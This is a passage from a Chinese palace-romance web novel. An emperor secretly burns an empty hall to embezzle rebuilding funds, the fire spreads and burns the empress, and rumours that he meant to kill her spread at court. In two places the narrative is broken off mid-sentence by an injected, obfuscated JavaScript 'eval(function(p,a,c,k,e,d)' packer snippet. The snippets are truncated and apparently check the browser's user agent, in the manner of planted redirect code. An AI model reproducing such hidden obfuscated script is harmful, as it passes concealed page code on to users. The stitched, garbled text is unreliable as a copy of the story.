“奴婢不知道娘子,我长那么大连同我爹、我爷爷都算上都没听说皇帝废后,皇后就可以回家了。” “我听说过,史书上曾有一位皇后,皇帝不喜欢她。两个人在皇宫里纠缠了好几年,皇帝废后之后,她爹爹就来接她回家了。听说后来还改嫁了,过的也很好。” “娘子又想回家了是吗?”小梅真的很害怕苏娘子一不高兴就扔下她一个人跑回家了,蹲在苏娘子身边抓着她的衣服道:“娘子,不管你去哪里,小梅都跟着你,你不要丢下我。” “傻瓜,我怎么会丢下你。但至少在这件事上,我不想让皇上废后,这样所有人都认为是我的错了,我爹娘还有哥哥都会蒙羞的。如果有一天我真的要走,我也要一个体面说法。” 小梅不懂,“那娘子喜欢皇上吗?” “不知道,他惹我的时候会很生气,有时候也会想起小时候的事。你知道吗,十岁的时候他就偷偷和我说想要娶我,做一对像我爹娘那样的夫妻。那时候我们的感情很好,两小无猜,几乎每天都黏在南书房,我以为长大以后真的会嫁给他。后来祖母在四川病重,爹爹送我回去,那份很黏腻的感情很快就断掉了。一别就是五年,我从来没有想起过他,他也没有给我写过一封信。我才知道原来人与人之间的感情是那般的脆弱,经不得别离也经不得相守。” 苏娘子眼中有遗憾有唏嘘,望着小梅浅浅的笑,很快又挂上悲伤。 “我不知道自己在做什么,我和大哥说我现在不喜欢他,那我就占着这个位置等到我喜欢他了为止。如果我还是不喜欢他,大哥就来带我回家。” “其实…..”小梅欲言又止,想起大爷给她看过一个梨花木箱,里面放满了未启封泛黄了信,写着念念亲启——岳凌哥哥。 晚上进被窝前,小梅在耳房里写信去西北,告诉苏明伯苏娘子的近况,在最后落笔时写道:大爷,苏娘子有些怨皇上当年没给她写信了。 信写完,落封后写的她哥哥董小力的名字。 还不到六月,紫禁城燥热的就有些像伏夏了。皇后寝殿里已经按照皇帝的吩咐放上冰鉴了,冷气稍稍退散去一丝燥热。 苏娘子已先在安心姑姑的服侍下躺在床上了,小梅写完信爬到床后躺下,咕哝道:“娘娘,皇上好像还没回来。我看偏殿里静悄悄的,只有大福公公一个人在里面打盹。” 苏娘子眨眨眼,道:“不管他,睡吧。” 坤宁宫没有皇帝显得安静极了,跟着皇后不到戌时就落锁熄灯了。 皇帝这夜没回来,和三福、四福几个太监凑在钟粹宫里。宫里原先是先帝妃嫔的住宿,先帝驾崩后都搬到寿康宫、英华殿。新帝只有一个皇后,还没册封后妃,钟粹宫正空着。 皇帝让底下的太监在宫里洒满火油,油臭味从钟粹宫四处飘,整个紫禁城都萦绕在一股子怪味里。弄完后皇帝领着太监退出宫外,站到了宫道上。 “四福,点火。” 黑夜里只有皇帝的声音,没人应答。 “四福?四福?” 皇帝转头四处找,几个人的目光齐刷刷的对上角落的一言不发的四福身上。 “四福点火,快点,禁卫军马上就要过来了!” 皇帝又催,四福捧着火折子跑到皇帝的面前双手奉上,“万岁爷,奴婢实在不敢。那么大一座钟粹宫,杀了奴婢也赔不起。紫禁城是您的,钟粹宫也是您的,要不着火您自己点吧?” 火烧紫禁城闹是杀头的大罪,尽管有皇帝撑腰,三福、四福几个太监都不敢,合计一通一起推给皇帝。毕竟阁老能杀太监,可不敢杀皇帝。 “有朕在你们怕什么,还担心朕把你们卖了不成。这事是朕的主意,天塌下来了朕顶着。” 但这话没什么用,没人敢点火。 “你们真是前怕狼后怕虎,能成什么大事,朕来!” 皇帝抓过火折子呼呼两下吹起火焰,抡起胳膊扔进钟粹宫里。火星碰着火油立刻就窜起了火苗黑烟,五福六福赶紧拿出一早准备好的铜盆,咚咚的边敲边喊。 “走水了!走水了!” “救火啊!钟粹宫着火了!” “护驾护驾!” “有刺客有刺客!” 宫道上顿时乱糟糟的,喊什么的都有。先闻迅赶来的太监提桶到吉祥缸里打水救火,火苗一挨到水点顿时蹿出数丈高,撩到了大殿屋檐上。火星落到宫道上突然蔓延开,像是流水一样烧到坤宁宫宫外。 “坤宁宫着火了,救驾!救驾!皇后娘娘还在宫里!” 宫里宫外的太监宫女乱做一团,火丁禁军拉着水车赶来灭火,水一浇像是从地里蹿出来一只火龙一样,瞬间引燃整个坤宁宫。消息传到乾清宫,刚换完衣服出来的皇帝吓得一下没拿住手里的玉带。 “什…..什么?” 大福惊慌道:“回万岁爷,坤宁宫和钟粹宫着火了,皇后娘娘还在宫里!” “什…..什么,坤宁宫着火了!坤宁宫怎么会着火了!愣着干什么,还不快叫火丁禁军救火!” “火丁军已经去了,万岁爷,您要去哪里?等等奴婢,坤宁宫危险!” 大福跟在皇帝后面,看着他站在宫道上对着黑夜惊慌失措的大喊,“长丰…..长丰,坤宁宫着火了,你快去帮朕把皇后救出!” “长丰…..长丰,你出来了啊,快去帮朕救苏娘子!” 没人应,皇帝撒腿冲向坤宁宫。长丰却突然出现在了宫道上,黑袍上落了些灰烬,脸上印着火光,看向皇帝的表情还是一如既往的冷漠。 “…..皇…..皇后呢?” “没找到。” “没找到,什么叫没找到?你是朕养的暗卫,朕花那么多银子养你是来干什么的!” 皇帝瞬间崩溃,心口像是被人狠狠捅了一刀,疼得头皮发麻,腿脚发颤。跟疯了似得扑过来,长丰看见了淡淡的侧了身,皇帝没扑倒一头栽到了地下。 “呜…..念念…..对不起!!念念,对不起!!朕不是故意的,朕不是故意要烧死你的…..对不起….” ——— 半盏茶前,钟粹宫的火势眨眼间就蔓延到坤宁宫了。寝殿里,苏娘子指导着小梅打湿棉被逃生,殿外火舌突然撩进殿,小丫头看见手疾眼快的一把甩湿棉被盖住苏娘子和自己挡住火势。 “…..娘子,怎么样有没有烧到?” “没事…..”头发的焦糊味却已经在两人鼻间弥漫开了,苏娘子挨进小梅紧张道:“小梅,我手不方便,要靠你带我出去了。别怕,记着宫门的方向往外冲。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“听着这是火油,不能用水灭,水车拉走!所有人听我的命令,第一,没有受伤的宫女太监,赶紧去把坤宁宫、钟粹宫附近的殿宇、值房的人都疏散开!第二,火丁禁军去把各殿还有御花园的花土全部挖来,沿着坤宁宫、钟粹宫两边宫道铺好,以防止火势向别宫蔓延!第三,禁卫军分做两班,一班去砍宫里的松枝,巡逻坤宁宫、钟粹宫周围,发现火势可用松枝扑灭;另一班立即调集宫内所有马车出宫去琉璃厂拉沙灰!” 为首的军官没动,吱唔道:“娘娘,那这火就不管了,让它烧着?” “对,让它烧!” “可是……” “可是什么,还不快照我的话去办,你是想把整个紫禁城都烧了吗!” 苏娘子蛮横的打断他的话,在人前向来温温柔柔惯,突然发起火来杀气腾腾,横眉竖眼瞬间就震住了底下的一帮人。为首的军官擦着头上的热汗,赶紧呵斥底下的人。 “还愣着干什么,还不照皇后娘娘的话办!” 宫道两侧的宫女太监禁卫军立即散开,坤宁宫、钟粹宫附近宫殿上迅速占满了巡逻防火的禁卫军,没一会儿火丁兵也挖来了附近宫殿的花土。安心姑姑搀扶着苏娘子,亲自监督指导铺土断火势,四处巡逻,两座全木宫殿的大火这夜照得紫禁城的黑夜通天的红。 “这里地下有怪味,用土铺厚些,仔细火烧到旁边的宫殿。” 随行的火丁兵立即提着桶上前来铺土,安心姑姑搀着苏娘子继续往前走。只见宫道正中间有好大一团黑影,苏娘子眼神不好,以为是防火的花土。 “去把那边那堆土弄些过来了,宫道上都要铺满。” 火丁兵正要动,借着火光看见那堆黄灿灿的土堆也在动,朝安心姑姑偷偷递了个眼色。 安心姑姑正眼一看,同苏娘子道:“皇后娘娘您瞧错了,那好像是…..皇….皇上?” 她这一声皇后娘娘像是招魂的铃声一样,跪在地上头抵着地砖的皇帝突然回魂,动了动呆滞的眼睛猛地抬头。 “…..念…..念念?” 她站在火光烟尘里,脏兮兮的,像是回来向他索命的冤魂。 “念念,对不起…..” 皇帝从地上爬起来,大步在宫道上狂奔,明袍失了玉带的束缚胡乱的在夜里飘,像是他乱掉的思绪。用力抱住苏娘子的瞬间,眼泪便断了线。 “别走,朕什么都不要了,什么都不要了…..对不起。” 苏娘子不高兴,被勒住胳膊疼的倒吸冷气。正要骂,皇帝突然放开她,伸手双手抚住她的脸,难过的捧在手心,泪珠子一滴一滴的落在她的脸颊上。 “对不起…..朕错了,别离开朕…..别离开朕…..” “你干嘛?”苏娘子蹙眉,动动鼻子很快就咬起了后槽牙,“你干嘛了?” 20. 第 20 章 紫禁城着火了,漫天的火光映红了整个天空。看见红光,京师大小阁臣都连夜从被窝里爬起来,一边穿衣服边往宫里跑,仆人提着鞋子,抱着纱帽,还有抬轿子的轿夫跟着屁股追。 街道两侧占满了看热闹的百姓,堵的水泄不通。五城兵马司派兵前来疏散,出城拉沙灰的禁卫军才得以入宫。 紫禁城午门外除了一百年前北掳打到京师城下,已经很久没那么热闹了。 阁臣们赶着进宫去看皇帝被烧死了没,沙车赶着去灭火,两拨人一起堵在午门外。 坤宁宫和钟粹宫一会儿就全没入到了火海里,黑夜之下飘满了红色的火星和白色的灰烬。 皇帝还抱着苏娘子久久不放开,黑夜之下四处飘舞着红色的火星和白色的灰烬,落满了他们的肩头。 苏娘子搭着脑袋枕在皇帝肩膀上,火星落在肌肤上微微的烫。她终于明白几日前午睡的梦了,原来梦里皇帝把火花弄在她身上,事实里是他火烧坤宁宫。 “你放开我,跟我来!” 苏娘子咬牙切齿,挣开皇帝的怀抱,转身走向坤宁宫。安心姑姑小跑上前,搀扶住苏娘子,担忧道: “娘娘要去哪里,小心天黑路滑。” “姑姑您在这里看着,不用跟着我。”苏娘子睨了眼还在原地发呆的皇帝,“皇上请跟我来!” 皇帝被她冷厉的声音吓一跳,胡乱拢着衣裳跟上前。到了乾清宫,苏娘子脸黑的吓人,率先进殿,“…..把门关上!” 皇帝紧张的深呼吸,赶走了跟在身后的大福,胆战心惊的关门。 他不知道应该如何解释今夜的大火,如是告诉苏娘子承认火是自己放的,她可是真的会误会是他想要放火烧死她。若不承认就一口咬定是天灾,朝廷那帮人就算查到他的头上也没人敢拿他怎么样。 皇帝在脑中历经一番天人交战,打定了主意艰难的转身,却一头撞上躲在身后的苏娘子。 “…..念念,你….你干什么?” 苏娘子凑到皇帝身上,像只警觉的猫悉悉索索的吸鼻子,越闻脸色黑的越难看,跟锅底一样让人不敢直视。 皇帝心虚的别开脸,隐隐觉得好像有些瞒不住了,她比他想象的聪明。即使换掉了衣服,用胰皂搓过好几遍手,她的狗鼻子好像还是闻到了什么。 “…..把手伸出来!” 皇帝颤巍巍的抬手,苏娘子低头闻,脑袋几乎要栽进他的掌心里了。皇帝又怕又觉得可爱,呼吸都紧张了起来。 苏娘子闻清楚了,“今天晚上的火怎么回事,你想烧死我?” 皇帝当即否认,“朕没有,念念你相信朕,朕从来没有想杀你!你是朕的皇后,朕的妻子,朕再糊涂怎么会做出杀妻的事来!” “那火怎么烧起来的,先是钟粹宫后是坤宁宫。火怎么就那么奇怪,用水也扑不灭?怎么别的宫没有蔓延火势,只独独烧了坤宁宫?” 她问的很精准,直击要害,叫皇帝根本无回击之力,他才发现自己根本瞒不住她的。 “好,念念朕可以告诉你真相。但你一定要相信朕,朕从来从来都没想过杀你!苏师父于朕有大恩,你是朕明媒正娶的皇后,朕即使不喜欢你,也不会杀你!” 苏娘子冷笑,“你终于承认了,岳凌你并不喜欢我。” “朕…..” 皇帝慌乱起来,感觉好像掉进了陷阱里。他明明可以不用解释那么多的,只是要告诉她起火的真相就好,扯什么喜不喜欢她的事! “念念你听朕说,事情不是你想的那样。钟粹宫的火的确不是天灾,是朕放的。但朕不知道火为什么会蔓延到坤宁宫去,朕算过隔着宫道火势再大也不会蔓延,可就是很奇怪大火烧到坤宁宫了。听到坤宁宫着火的那刻,朕真的慌了,害怕了。长丰说没找到你的时候,朕的心好像都死了。眼睛看不见周围的一切,耳朵也听不见声音了,朕以为朕就那样在宫道上跪着死去了。可是…..你回来了,你知不知那一刻朕…..” 皇帝不知道如何形容听见苏娘子声音那刻的感觉,像天地初开,混沌里突见光明,有了阳光、雨水、鸟啼虫鸣,山川复始,河水复流。一切一切的言语都不足形容,只有眼睛里抑制不住那颗动情的泪珠,触不及防的夺目而出,越流越多。 “…..念念朕…..” “你烧钟粹宫做什么?” 苏娘子站累了,无视皇帝落下的眼泪,坐到了御案后。皇帝紧跟着她,有些窘迫。 “朕要钱,要钱来培养自己的亲信,选拔一批朕自己的忠臣,掌控兵权!可是朕的内库里没有银子,朕的金花银早就收进户部银库里了,每年他们只给朕拨三千两,内库太监也欺朕年幼无权,肆意克扣朕的银子。你别看朕是个皇帝,实则穷的叮当响,朕浑身上下一件值钱的都没有。朕要夺权,拿回属于朕的东西。” “所以你是打算趁着大工的机会,吃回扣捞个盆满钵满是吗?胡闹,岳凌你过真是日子过得太舒坦了!你知不知道给宫里修殿宇从山里运一根金丝楠木就要耗费两千两白银,采木到转运进京动调动民父动辄百万以上!好好的大殿你说烧就烧了,岳凌你烧的你自己子民的骨骸!我爹爹真的白教你了,你枉费了他那么多年的心血,书都读到狗肚子里去了!” “念念朕不是……” 皇帝一直以为都只知道自己被权臣挟制,被太监欺负了。他不缺吃不缺穿也不缺喝,但他咽不下心里的那口气,不想再当一个被人呼来喝去的纸皇帝。也看过底层的宫女太监被欺负,为了活着拼命的挣扎。 可他没出过宫,不知道河堤上的民工会衣不蔽体,食不果腹。不知道采木的民工摔下山崖死了,官府只有三两银子的补偿,到了遗孤手里不足半数,要养活一家十几口人。 他的日子真的是过的太舒坦了,苏娘子被气得脑袋嗡嗡的响,连话也不想和皇帝说了。 “你出去,你若还是这个样子,你拿什么和肖阁老比。还想不明白做皇帝的责任,权你也不用夺了,我爹爹不会帮你的!” “念念,朕不知道,没人和朕说过这些…..” “朝廷每天的奏折都送进乾清宫来,你没眼睛看吗?岳凌你不是不知道,你是不在意!朝廷里贪官污吏纵多,你才是真正的巨齿硕鼠!我不想看见你,出去,你给我出去!” “念念朕…..” 皇帝还想狡辩,惹得苏娘子大为不快,火气噌的一下蹿上来。顾不得骨折的双手,一把掀翻桌上的奏疏落地满地都是。 皇帝还脑袋十分不灵光的蹲下去捡,苏娘子忍无可忍一脚踹在皇帝膝盖上,咆哮道: “你出去,出去,我不想看到你!滚啊….滚!!” 皇帝挨不住揍,驾着尾巴灰溜溜的逃出宫。 殿外,李太医、安心姑姑、还有大福三个人并排坐在御阶上。听见殿门响了动静,齐齐回头,皇帝狼狈的和他们对视上。 “皇…..皇上?” “是朕….朕没事。”皇帝慌乱的抹眼睛,把脸上的泪痕擦得干干净净,佯装镇定的问道:“你们在这里做什么?” 坤宁宫和钟粹宫的大火已经扑灭了,火光暗去,紫禁城陷入一片晦暗里,皇帝很轻易的就掩盖住了自己的情绪。 安心姑姑行了礼道:“回皇上的话,皇后娘娘在火里被烧伤了,适才一直忙着救火没空看,奴婢特意请李太医来看看娘娘的伤势。” “皇后受伤了?怎么一直不说,李太医快进去看看。” “是皇上,臣立刻就去。” 李廷致与安心姑姑一起进了殿,苏娘子一会儿的功夫就倚在椅子上睡着了,皇帝偷偷跟在最后面想要看看她。 安心姑姑一唤醒苏娘子,皇帝立马就跟见鬼一样跑出乾清宫躲到了门外。大福颠颠跟着他跑进跑出,好奇道: “万岁爷,您干什么,怎么不进去看看皇后娘娘?” 皇帝坐在御阶上,神色悲伤,望着黑夜不自觉想要哭。 “她不想见朕,朕不想再惹她生气了。朕其实真的很不好很不好,朕连她受伤了都不知道。她怎么那么倔强,在朕的面 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“就是….”苏娘子犹豫了一下,抱着必死的决心问道:“我….我这个月没来月事。虽然我和皇上才成亲不久,但您也知道之前…..那个我会不会有孩子了?” “除了大婚之前的事,之后娘娘可与皇上通过房?” “没有,我一直很介怀那件事,可是弄不好我连孩子都要给他怀上了。” 苏娘子气鼓鼓,一生气就牵扯到背后的烧伤,疼得直冒冷汗。李太医安慰道:“娘娘不必过于担心,一切顺其自然。眼下才一个月还看不出来了,娘娘等等下个月的月事,月事还不至便是大喜怀上了。” “可是…..” “娘娘还担心什么?” 苏娘子轻轻的叹气,“他老是惹我生气,我怕就是怀上孩子也气没了。” 李太医忍俊不禁,“娘娘喜欢皇上,愿意与皇上生儿育女是吗?” “你…..看出来了?”苏娘子有些不好意思,但一想到今晚的事一腔热血很有可能会喂狗,突然又不是很想了。 毕竟那个人也说了,他并不喜欢她,这样子真的很像自己上赶着给他生孩子。 李太医点点头,但不知道苏娘子心思会想那么多,安慰道:“孩子的事是天定的缘份,是娘娘的就是娘子的气也气不走的。” 苏娘子觉得自己的感情不能再这样外露了,收拾好心情,唤来宫女便进浴房了。李太医留了药方和膏药,交代好安心姑姑退出寝殿,皇帝躲在殿外堵他。 “皇后的伤势怎么样了,伤的严不严重?” 李太医:“回皇上,皇后娘娘烧伤了后背,涂些烫伤膏修养些日子接了疤便无大碍。还有就是娘娘她原本双手的伤也没好,往后更是磕碰不得,更得要小心看护。否则便是百日也好不利索,可能还会落下病根。” “朕知道了,朕不会在惹她生气了。” 这话李太医不知道在哪儿听过觉得不太可信,想起苏娘子的担心又提醒道: “还有一件事请皇上也上些心,娘娘这个月没来月事,可能会是怀上孩子了,许是月份小还看不出来,皇上切记以后少惹娘娘生气。” “喔,朕知道了。” 皇帝看着不是很上心,李太医摇摇头觉得孺子不可教也。 “臣告退了。” 皇帝摆摆手,望着头顶上宫灯轻叹了一口,神色无限惆怅。不由自主又后悔了刚才说了那句不喜欢苏娘子话,不知她是伤心了。 她嫁给他是无奈的选择,也许以为他还喜欢她,这段婚姻还有些尚可依恋的地方。 如果知道事实上根本没有什么生米煮成熟饭的事,他们之间什么也没发生。她会不会真的抛下他一走了之了,毕竟她一直在说她的大哥可以回来带她走。 他们都是混迹江湖沙场的人,多的是他不知道的手段,也许有一天他们真的走了,自己还一无所知。 ——— 皇帝的担忧在太医院里化作飞向西北的书信,小梅用缠成萝卜的爪子抓起笔,歪歪扭扭的在宣纸落字,把皇帝火烧皇后的事告到了西北。 21. 第 21 章 早朝前一天,司礼监就会把第二天的奏疏送到乾清宫。民生军调大事,内阁会先行处置,然后将批复的文书复加在奏疏里让皇帝过目。 皇帝基本上不用处理什么政务,得空的时候把奏疏看了,知道国家发生了什么时就可以,这是阁臣们对皇帝最大的期望。 再早四五年,苏萤臣还任帝师的时候,皇帝也是看奏疏处理政务的。只不过那时候他才刚调理好身体开始正经读书识字,要在苏萤臣的帮助才能简单批阅些奏疏。 三年后,皇帝十五了,老先生力拥皇帝亲政。随即不到半年就请辞归乡了,皇帝觉得自己连站都站不稳,不敢跑不敢亲政。拉着老先生的手,哭着要请他入阁辅政。 消息不知怎么传到言官耳朵里,第二天弹劾奏疏跟雪花一样的飘进乾清宫,弹劾苏萤臣擅权弄政,有摄政之心。 老先生这些年真是挨够了言官的骂,时年大雨,黄河泛滥。河水倒灌,铜瓦厢决口,波及四省十余州县。老先生留下一封书信,连夜打包袱跑到黄河边上去了。 他与皇帝说,“皇上别害怕,阁老们都是朝廷重臣,忠心辅政,政务上有什么不懂的就多问多听。老臣虽不在京城,不侍奉圣驾左右。但老臣永远都会为皇上尽忠,臣去给皇上守黄河了,京城里有事就给臣写信,臣一定会回来的。” 但是皇帝追到江米巷,苏家人都走了,只留了长伯守宅。 后来亲政的第二年,北掳袭边劫掠,边关连失十城,数万百姓被掳。军报传进京,到了拿主意重振天朝威严的时候。 皇帝下令全国调谴十万兵马,集结边关讨伐北掳。结果调遣失误,大军途遇大雪又遭伏击几乎全军覆没,损失百万余粮草。战死的将士和粮夫的尸体堆满了边关,蔓延千余里。 京师内外很快蔓延皇帝刚愎自用,不听谏言,干预选将,胡乱指挥前线,以至于大军中伏的流言。认为皇帝为此次战败的罪魁祸首,当以下罪己诏向天下百姓、向战死的将军将士谢罪。 皇帝没想到亲政以来做的第一件事竟是这样的结果,连夜给苏萤臣写信,可是没有回应。他要找他的时候找不到他,惊慌失措之下在战死的英灵前下了罪己诏,归政于辅大臣。 后来在政务上他就再也没有过说话,早几年还算乖巧,老老实实当着一个盖章皇帝。这几年突然就不老实了,什么荒唐事都做了。 紫禁城大火,一切似乎又回到了当出那个流言蜚语肆虐的时候。先是京师内外关于皇帝杀后的事迅速流传在大街小巷里,上到高门深宅里的夫人贵妇,下到井水边浣衣的妇女都在议论,很快还杀后书妖书盛行京师。 流言跟着出入宫廷采办的太监宫女传入宫廷里,虽不必外间那般大的声势,但私下宫女太监三三两两的聚在一起时,总会假装不经意的提起。 皇帝在言官的奏疏里得知流言,是一个三年前年轻进士写的奏疏。议论起宫外的谣言,直言帝后不和久矣,阴阳不调,国运不昌。皇帝纵再不喜皇后,也不该做出这种杀妻的事来。夫妻本是同林鸟,即使恩爱到了头,也不该这般赶尽杀绝。 小进士为平息流言,请求皇帝效仿民间之例放妻,一保全国家、保全皇帝的名声;二保皇后性命无虞,以防消息传到西北,苏明伯手握重兵生出反叛之意。 全疏洋洋洒洒的写了万言,堆在司礼监送来的奏疏最上头,这该是今日最要紧的事。皇帝看完气得手发抖,问这是从哪里传来的疯言疯语,要拿了小进士问罪。 宫里的流言大福早就听到了,憋了好几天终于忍不住了,赶紧给皇帝端了杯祛火的茶哄。 “回万岁爷,这事只怕宫里宫外都传遍了,大伙儿都在传您要杀后,钟粹宫、坤宁宫的大火是您放的。奴婢知道肯定不是,您不会杀皇后,可是这到底是谁在胡乱造谣。刑部、大理寺、六扇门、锦衣卫都是干什么吃的,还不拿了人来!” “哼,朕才不在意他们说什么!走,去乾清宫!” 皇帝眨眼就冲出了养心殿,坤宁宫烧没了,皇后搬到了乾清宫养伤。为了不气到她,皇帝自觉就退出了乾清宫搬到了养心殿里。两宫近挨着,穿过月华门就到了。 可马上就到上朝的时辰了,天色还没亮,大福抱着龙袍和翼善冠在后面没追上皇帝,被关在了殿门外。正是愁虑,殿门很快又打开了。 “姑姑,您怎么出来了,皇上呢?” “嘘,小声点,别吵醒皇后娘娘。皇上说他在里面待一会儿就出来,娘娘这两日情绪稳定多了,两人应当不会吵起来。” 安心姑姑掩门前往殿里望了一眼,轻纱后隐隐透着皇帝身影,小心翼翼打着扇给皇后扇风。看见大福抱着皇帝的衣服行头,问道:“这是在干什么?” 大福:“皇上今日要上朝接见群臣了,这会儿衣服都没穿,我怕来不及就抱着追过来了。” 已经入夏了,天亮的越来越早,天边已经泛青了。 “那皇上来做什么,他不是说最近会少来烦娘娘吗?” 大福掩声道:“有大臣把杀后的流言写成奏疏呈到万岁爷面前了,还谏言要万岁爷废后放妻。万岁爷看到奏疏,衣服都没穿就跑来乾清宫了。” “这样也好,皇上告诉皇后总比皇后自己从别处听到,到时候闹得离心离德好。” “姑姑说的对。” 两人守在殿门掐着上朝的点。 殿内,皇帝和皇后单独相处鲜有平静的时候。主要是苏娘子睡着了,因为后背的烧伤不能压着,即日来就只能趴着睡。入夏日头逐渐热了,趴着睡更难受。安心姑姑经常擦完药膏就不缠纱布了,敞开着伤口凉爽一些,仅用薄被盖住苏娘子的腰下以防着凉。守到下半夜,夜里凉了,膏药也干了就给她盖上衣服遮寒气。 皇帝闯进殿前火急火燎的,脚尖碰到乾清宫的地砖不由自主的又放轻了脚步。支走安心姑姑,接过她的扇子,蹑手蹑脚的坐到床边给苏娘子扇风。 原本是想来叫醒她,告诉她不要相信别人的话,自己并没有想要烧死她。 可她睡的很熟,趴睡着脑袋歪在软枕上,挤着她脸颊上软软的肉,像只熟悉的小猫一样,皇帝很贪恋他们之间这样平静的时候,忍住了打搅她的冲动。只是温柔的打着扇子,为她送去徐徐凉风。 像是感受了身边不一样的气息,苏娘子逐渐睡的不安稳,动了好几下身子,背上的衣服滑落,露出后背上斑驳的烧伤。 皇帝看见一下顿住了手,失神的看着,眼泪不知何时后就蓄满了眼眶。 “笨蛋,你疼不疼,朕都不知道你伤的那么重,怎么好几天了还没结痂。” 他说不要惹她生气,杵在她面前惹她心烦,避到了养心殿。只知道太医每天都会来乾清宫诊治,安心姑姑领着宫女和太监都在小心服侍照顾她。他不敢来,也不知道她的伤势。 皇帝难过的落下泪,像是大福说的那样重新遇见她之后,他变得很爱哭了。吵架吵不赢她会哭,被她骂会哭,看到她受伤会哭,只是想到她会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……娘娘刚才在皇上面前害羞了?” “我才没有…..”苏娘子嘴硬道,心还在砰砰的直跳,脑子也有些懵,“姑姑,宫里发生什么事了,他怎么突然来了。” “奴婢说了娘娘不要生气…..” “你先说,我听了再决定生不生气。” 安心姑姑闹不过苏娘子,想了想温柔道:“现在宫里宫外都在传皇上杀后的事,传言说帝后不和已久,钟粹宫的火就是皇上放的,以钟粹宫引燃坤宁宫借机烧死您。可奴婢相信皇上不会的,钟粹宫的火也许真是皇上放的,可他绝不会杀您娘娘。” “是吗?可是知人知面不知心,他如果是想要借此激起我父亲和哥哥的愤怒,逼迫他们起兵造反再反手联合肖阁老他们镇压呢?” “娘娘怎么会这样想?” 安心姑姑吓一跳,苏娘子像是累了一样,长长的吁了一口气。 “我只是在想,他可以联合我父亲来夺权扳倒内阁。那是否也能联合肖阁老来扳倒苏家,尤其是我大哥,他在西北手握重兵多年,皇上他可是担心功高盖主了?” 她不想为了一个男人赌上全家人的性命,苏家一门两个封疆大吏,父亲门生遍布朝野。就算苏家再低调,再谨慎,从不结党。朝臣就不会忌惮苏家,皇帝就不会忌惮苏家了吗? 22. 第 22 章 皇帝早朝上和阁老们吵架了,故意磨蹭了半个多时辰不说,一到太和门百官朝拜还没起身,皇帝啪的就把杀后的奏疏扔到地砖上。 “这个叫谭宇是个什么疯子,离间帝后把他给朕拿了!刑部、大理寺、六扇门、锦衣卫,朝廷养着你们不是来吃干饭的,朕限你们三日查清楚妖书的幕后指使,不然你们全都给朕滚回家去!还有谁再敢诽议君上胡言乱语,统统拿进大牢里严惩不贷!” 扔奏疏是非常无礼的,肖阁老起身捡起皇帝扔的奏疏,踏上御阶走到太和门下又递回到皇帝跟前。冷着脸因沉沉的看着皇帝,皇帝也绷着脸,两个人看来今日都不要讲君臣之礼了。 “皇上如今真是越来越乖戾了,扔奏疏,摆皇帝谱,大呼小叫,动辄就要罢免臣子,皇上真是好大的架子。离间帝后?您自己满京师、满紫禁城去打听听,现在外面都怎么说皇上的!您做了什么就不要怕说,要拿谭宇您先自己解释解释钟粹宫、坤宁宫的大火怎么回事?” 皇帝坐着在龙椅上挨肖阁老一头,十分的不长气势,噌的站起来不小心撞了一下老头。老头年纪有些大了,又是出不及防的一下,踉跄着身影险些摔倒。大福赶紧伸手搀扶,太和门广场下皇帝殴打老臣的议论又悄悄传开了。 “怎么回事,朕怎么知道?四月以来到五月中,数十日干燥无雨,京畿六府接连报旱情。紫禁城里都是百年的木质殿宇,天气如此炎热稍有一个火星子就烧起来了。明知如此,紫禁城禁卫处、火丁军怎么做的防火巡逻,平日里又是怎么训练的,面对火灾竟茫然无措。朕不仅要问他们一个渎职之罪,朕还要问内阁、吏部选的都是什么尸位素餐的草包!” 皇帝和肖阁老硬顶,大福拉完这个拉那个,忙得手足无措,哭丧着脸抱住皇帝的胳膊。 “万岁爷您冷静点,早朝那么多大臣看着呢。” “朕就要说,不然他们就会给朕扣上杀后的帽子,朕不是十二岁的儿皇帝再能被他们吓虎住了!” 肖阁老平静的看着暴躁的皇帝,正了正纱帽,“皇上还是不承认自己做过的事吗?来人,把掖门那个几个禁军带上来!” 很快侍卫就押上来了六个禁军,交代几天前夜里确实有人拿着皇帝的手令往宫里运东西了,两大车用木桶装着。查的时候说是酒,打开也确实是。但皇帝大婚早就结束了,御膳房也从来不在那个时辰采买。 谁知坤宁宫和钟粹宫突然就着火了,而且用水还扑不灭,皇后娘娘从火海里冲出来说是火油不能用水灭,所有人才去挖花土拉泥沙。如今想来,还是有些奇怪的。 禁军交代完,皇帝脸色就变了。他确实没料到大火真的会烧到坤宁宫,不是苏娘子说出那是火油,凭借禁卫军、火丁军那些人根本想不到会是火油。大火烧起来,五六个时辰烧完了自会灭掉。 可是大火蔓延到坤宁宫,一切的计划都被打乱了。皇帝有些慌,可只能嘴硬死不承认。 “既是有朕的手令,那手令还有拿着朕手令的人呢?空口白牙的,凭你们几个就想诬赖朕!朕没做过的事朕不会认的,朕说没杀皇后就没杀皇后!” 他们当然没有手令,帮着皇帝作案的几个人放完货就躲起来了,有长丰在根本没人能找到他们。皇帝坚信笃行,只要不承认,事情还可有转机。他还跑下太和门,冲到苏萤臣面前,拉着他着急的解释。 “苏师父,朕没有杀念念,您相信朕!苏家对朕有大恩,是您扶朕登基,养育教育朕,朕怎么会杀念念呢,这对朕有什么好处。朕费了那么大的力气才娶到念念,朕疼她爱她还来不及怎么会杀她!” 苏萤臣退了一步,不懂声色的拂掉皇帝的手,虽极力压制着情绪,但还是说了一句赌气的话。 “皇上既知道臣于皇上有恩,当初又为何要胁迫老臣的女儿。” “朕没有胁迫念念,是她自己愿意嫁给朕的!” “…..那大婚…..算了,是臣失礼了,请皇上恕罪。” 苏萤臣险些质问皇帝为何大婚之夜就跑下自己女儿,为何大婚不过月余京师四处蔓延帝后不和的流言,从嫁给他后自己的女儿就没过一天好日子,听说还被大火烧伤了,做父亲的连去看他一眼都不可以。 